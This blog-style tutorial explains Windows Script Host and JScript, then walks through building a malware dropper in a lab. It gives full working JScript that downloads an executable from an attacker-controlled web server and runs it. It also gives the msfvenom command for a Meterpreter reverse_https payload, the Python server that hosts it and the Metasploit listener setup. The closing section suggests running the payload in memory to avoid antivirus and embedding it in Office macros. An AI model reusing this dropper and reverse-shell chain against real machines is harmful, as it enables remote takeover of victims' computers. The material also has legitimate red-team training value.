Windows Script Host and JScript

Explanation on WScript and Jscript

In this blog I will explain what is Windows Script Host(WSH) and JScript and how can we leverage it to perform client side code execution.

Windows Script Host

Windows Script Host, or WSH, is a language-independent scripting host included with Microsoft Windows Operating Systems that allows administrators to execute scripts for administrative tasks either from the command console (using cscript.exe) or by double-clicking on a desktop shortcut (using wscript.exe).Microsoft doc here

JScript

  • Modern web browsers use JavaScript as a scripting language that is processed inside a browser and works together with HTML & CSS to create content for the internet. It's functionality is based on ECMAScript standard.

  • Jscript is a dialect of JavaScript developed and owned by Microsoft that is used in the Internet Explorer. It can be executed outside the browser via Windows Script Host, that can executes variety of languages. When JScript is executed outside web browser it is not restricted to any security restrictions enforced by the browser sandbox. This can result a client-side code execution without exploiting any vulnerabilties.

  • JScript is an interpreted, object-based scripting language. Although it has fewer capabilities than full-fledged object-oriented languages like C++ and Java, JScript is more than sufficiently powerful for its intended purposes.

  • JScript is not a cut-down version of any other language (it is only distantly and indirectly related to Java, for example), and it is not a simplification of anything. It is, however, limited. You cannot write standalone applications in it, for example, and it has little capability for reading or writing files. Moreover, JScript scripts can run only in the presence of an interpreter, either in a Web server or a Web browser.

  • JScript is a loosely typed language. That means you do not have to declare the data types of variables explicitly. In fact, you cannot explicitly declare data types in JScript. Moreover, in many cases JScript performs conversions automatically when they are needed. For instance, if you try to add a number to an item that consists of text (a string), the number is converted to text.

In the wild malware like TrickBot and Emotet used JScript strains to infect computer, they're under constant development.

Basic JScript Dropper Example

Executing JScript outside the web browsers bypasses all the security restrictions. This allows us interaction with the ActiveX technology and the Windows Script Host engine itself. First we will create a basic JScript script that will pop a cmd shell

var cmd = new ActiveXObject("WScript.Shell")
var r = cmd.Run("cmd.exe");

In the above listing we've leveraged ActiveX by invoking ActiveXObject constructor and supply the name of the object. Using the WScript.Shell to interact with Windows Script Host Shell to execute external windows applications. Instantiating the Shell object "cmd" from the class that will run cmd.exe through the Run command. Save the file with .js extension as shell.js

Double clicking on shell.js will result s cmd.exe window

Now we have the basic understanding of JScript execution, we can move toward basic example of meterpreter reverse shell.

Jscript Meterpreter Dropper

Now after explaining the basic of spawning a cmd.exe shell. Moving on towards gaining a meterpreter shell.

First creating a meterpreter shell with msfvenom with respective host and local port of your kali machine

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.2.15 LPORT=443 -f exe -o shell.exe

After the creation of the shell.exe, either host it on your /var/www/html directory via apache web server utility of you can directly host a custom web server on your current working directly with the help of python2 or python3

root@kali ~/wsh# python2 -m SimpleHTTPServer 80 &
root@kali ~/wsh# Serving HTTP on 0.0.0.0 port 80 ...

After that we moving on towards the JScript code that will download our shell.exe from our web server and executes it.

var url = "http://10.0.2.15/shell.exe" 
var Object = WScript.CreateObject('MSXML2.XMLHTTP'); 

In the above code snippet we used the url parameter to download our shell.exe from the attacker web server. After that using the MSXML2.XMLHTTP object, which is based on the Microsoft XML Core Services and its HTTP Protocol parser. This object provides client-side protocol to communicate with HTTP servers.

Object.Open('GET', url, false);  
Object.Send();

Using the Open and Send methods to perform HTTP GET Request. Open method takes three arguments, first the HTTP method used, second the url parameter and third argumentd indicates that the request must by synchronous or not.

if (Object.Status == 200)
{
    ....
}

Now we will perform a if statement to check the status of the request. By using the Status property to check if the request contains 200 OK

var Stream = WScript.CreateObject('ADODB.Stream');

After receiving the 200 OK request and get inside the if condition, we will create a Stream object and copy the HTTP response. The Stream object is instantiated using the ADODB.Stream property

Stream.Open();  	
Stream.Type = 1;
Stream.Write(Object.ResponseBody);  	
Stream.Position = 0;

Now we will use Open method to open the stream and set the Type property to 1 that indicates the binary content. After that using the Write to writing it to the stream. Resetting the Position value to 0 that will continue back to the start to the stream.

Stream.SaveToFile("shell.exe", 2);  	
Stream.Close();

Now after downloading and writing our binary shell we need to save it to the target machine. We will use SaveToFile method that takes two arguments. First is the filename that you want and second to 2 that will force to overwrite. Then in the end we will close the stream.

var r = new ActiveXObject("WScript.Shell").Run("shell.exe");

In the end we will use the earlier Windows Script Host example to run our shell by appending the Run method directly.

The complete code will look like this

var url = "http://10.0.2.15/shell.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP'); 
Object.Open('GET', url, false); 
Object.Send();

if (Object.Status == 200) 
{
	var Stream = WScript.CreateObject('ADODB.Stream');
	Stream.Open(); 
	Stream.Type = 1; 
	Stream.Write(Object.ResponseBody); 
	Stream.Position = 0; 
	Stream.SaveToFile("shell.exe", 2); 
	Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("shell.exe");

After that save the file as shell.js with.js extension. Now in the kali machine start a meterpreter listener.

root@kali ~/wsh# msfconsole -q
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > exploit

Now with the listener ready ! Double click on the shell.js and check if we got a hit on our python2 server

10.0.2.4 - - [19/Feb/2022 00:41:07] "GET /shell.exe HTTP/1.1" 200 -

After the successful hit, check the target system that our shell.exe was downloaded or not.

We can see our shell.exe was downloaded successfully, on the kali machine we can see that we have gained a meterpreter shell !

CONCLUSION

The above example was a normal scenario on how JScript and Windows Script Host can be leverage to gained shell access on a system. We can further optimize the code that will run shell.exe on the memory without writing on the disk to avoid AV and endpoint detection (maybe a topic for another time). Or else embedding it inside the Microsoft Macros and further more client-side attacks. This shows how powerful JScript can be that can execute out of the browser environment.

Thank you for reading 👍

Last updated